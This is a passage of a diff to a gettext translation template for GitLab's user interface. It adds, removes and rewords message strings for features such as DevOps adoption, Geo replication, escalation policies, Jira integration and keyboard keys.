-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11794,6 +11872,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11821,6 +11902,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11842,6 +11926,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11854,21 +11941,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11935,15 +12034,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11971,6 +12070,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -12202,7 +12304,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -12217,6 +12319,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12226,9 +12346,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12343,9 +12460,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12400,6 +12514,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12529,13 +12646,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12613,6 +12730,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12658,9 +12778,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12682,9 +12799,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13354,9 +13468,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13369,12 +13480,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13483,6 +13600,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13544,7 +13709,13 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -14191,6 +14362,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -14215,9 +14389,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -14245,9 +14416,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14266,9 +14434,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14311,9 +14476,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14329,7 +14491,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14584,6 +14746,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14689,6 +14860,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14707,6 +14881,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14734,6 +14911,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -15001,6 +15187,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -15028,6 +15217,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -15055,6 +15247,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -15079,6 +15274,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -15106,6 +15304,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -15151,6 +15352,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -15163,10 +15367,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15331,6 +15541,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15343,10 +15559,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15592,9 +15811,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15691,16 +15907,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15733,9 +15952,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15790,6 +16006,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15868,7 +16087,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15982,6 +16201,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -16042,6 +16264,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -16063,13 +16288,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -16132,6 +16360,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16450,9 +16681,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16489,22 +16717,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16576,7 +16813,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16591,6 +16828,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16603,6 +16843,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16723,9 +16975,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16759,9 +17008,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16846,9 +17092,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16858,9 +17119,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -17014,6 +17272,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -17272,6 +17533,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17305,6 +17569,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17317,9 +17584,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17332,6 +17608,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17458,6 +17737,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17497,6 +17779,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17512,10 +17797,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17551,9 +17836,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17629,6 +17923,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17668,6 +17965,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17707,6 +18007,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17722,9 +18025,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17854,7 +18154,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -18055,10 +18355,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -18136,7 +18436,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18322,7 +18622,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18556,6 +18856,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18625,12 +18928,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18658,6 +18955,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18703,6 +19021,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18805,6 +19126,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18814,6 +19138,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18847,13 +19177,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18877,7 +19207,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18952,6 +19282,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18967,10 +19300,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -19057,7 +19390,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -19105,6 +19438,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -19120,6 +19465,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -19213,6 +19561,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -19246,6 +19597,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -19273,9 +19627,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
